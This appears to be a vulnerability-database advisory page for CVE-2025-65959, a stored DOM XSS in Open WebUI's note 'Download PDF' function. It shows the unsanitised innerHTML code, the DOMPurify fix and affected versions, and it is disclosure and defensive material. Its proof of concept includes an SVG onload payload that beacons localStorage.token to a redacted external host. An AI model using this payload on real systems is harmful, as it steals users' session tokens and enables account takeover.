8.7

CVSS Score

3.1

-

CVSS Score

Basic Information

Concerned about an active attack path?

Talk to our security experts and see Miggo in action.

Miggo Vulnerability Database

→

CVE-2025-65959

CVE-2025-65959: Open WebUI Vulnerable to Stored DOM XSS via Note 'Download PDF'

Summary

A Stored XSS vulnerability has been discovered in Open-WebUI's Notes PDF download functionality. An attacker can import a Markdown file containing malicious SVG tags into Notes, allowing them to execute arbitrary JavaScript code and steal session tokens when a victim downloads the note as PDF.

This vulnerability can be exploited by any authenticated user, and unauthenticated external attackers can steal session tokens from users (both admin and regular users) by sharing specially crafted markdown files.

Details

Vulnerability Location

File: src/lib/components/notes/utils.ts
Function: downloadPdf()
Vulnerable Code (Line 35):

const contentNode = document.createElement('div');

contentNode.innerHTML = html;  // Direct assignment without DOMPurify sanitization

node.appendChild(contentNode);
document.body.appendChild(node);

Root Cause

Incomplete TipTap Editor Configuration
- Open-WebUI only uses TipTap StarterKit
- No Schema definition for dangerous tags like SVG, Script
- Unknown HTML tags are stored as raw HTML
Missing Sanitization During PDF Generation
- note.data.content.html is directly assigned to innerHTML
- No DOMPurify or other sanitization
- Stored malicious HTML executes as-is

PoC

Environment

Open-WebUI latest version (v0.6.36)
Admin account

Step 1: Create Malicious Markdown File

Filename: token_stealer.md

<svg onload="navigator.sendBeacon('https://redacted/steal',localStorage.token)"></svg>

Miggo Vulnerability Database

→

CVE-2025-65959

CVE-2025-65959:

8.7

CVSS Score

3.1

-

CVSS Score

Basic Information

Is this CVE running in your environment?

Easily map the attack path and prioritize which CVEs are a threat to your organization

Validate Exposure

Technical Details

Package Name	Ecosystem	Vulnerable Versions	First Patched Version
open-webui	npm	<= 0.6.36	0.6.37

Technical Details

Vulnerability Intelligence
Miggo AI

Root Cause Analysis

The vulnerability exists in the downloadPdf function located in src/lib/components/notes/utils.ts. The function is responsible for generating a PDF version of a note. The root cause of the vulnerability is the direct use of user-provided HTML content from a note without proper sanitization. The provided patch confirms this by showing the addition of DOMPurify.sanitize() to clean the HTML content before it is assigned to the innerHTML property of a DOM element. Specifically, the line const html = note.data?.content?.html ?? ''; was replaced with const html = DOMPurify.sanitize(note.data?.content?.html ?? '');. This change prevents malicious scripts embedded in the note's content from being executed when the PDF is generated, thus mitigating the stored XSS vulnerability.

Vulnerable functions

Only Mi**o us*rs **n s** t*is s**tion

Vulnerability Intelligence
Miggo AI

Unlock WAF rules for this CVE

Generate vendor-ready rules for the observed attack patterns, plus reasoning and safe deployment guidance

Get WAF rules

WAF Protection Rules

WAF Rule

W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.

Reasoning

*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.

8.7

-

Basic Information

Basic Information

Concerned about an active attack path?

CVE-2025-65959: Open WebUI Vulnerable to Stored DOM XSS via Note 'Download PDF'

Summary

Details

Vulnerability Location

Root Cause

PoC

Environment

Step 1: Create Malicious Markdown File

CVE-2025-65959:

8.7

-

Basic Information

Basic Information

Is this CVE running in your environment?

Technical Details

Technical Details

Vulnerability IntelligenceMiggo AI

Root Cause Analysis

Vulnerable functions

Vulnerability IntelligenceMiggo AI

Unlock WAF rules for this CVE

WAF Protection Rules

WAF Rule

Reasoning

Technical Details

Vulnerability IntelligenceMiggo AI

Root Cause Analysis

Vulnerable functions

Basic Information

Basic Information

CVE-2025-65959: Open WebUI Vulnerable to Stored DOM XSS via Note 'Download PDF'

Summary

Details

Vulnerability Location

Root Cause

PoC

Environment

Step 1: Create Malicious Markdown File

Step 2: Import to Notes

Step 3: Trigger PDF Download

Step 4: Verify Token Theft

And Simple PoC alert(1)

Impact

Vulnerability Type

Affected Users

Attack Scenario

Recommended Patch

References

8.7

8.7

Vulnerability Intelligence
Miggo AI

Vulnerability Intelligence
Miggo AI

Vulnerability Intelligence
Miggo AI

And Simple PoC `alert(1)`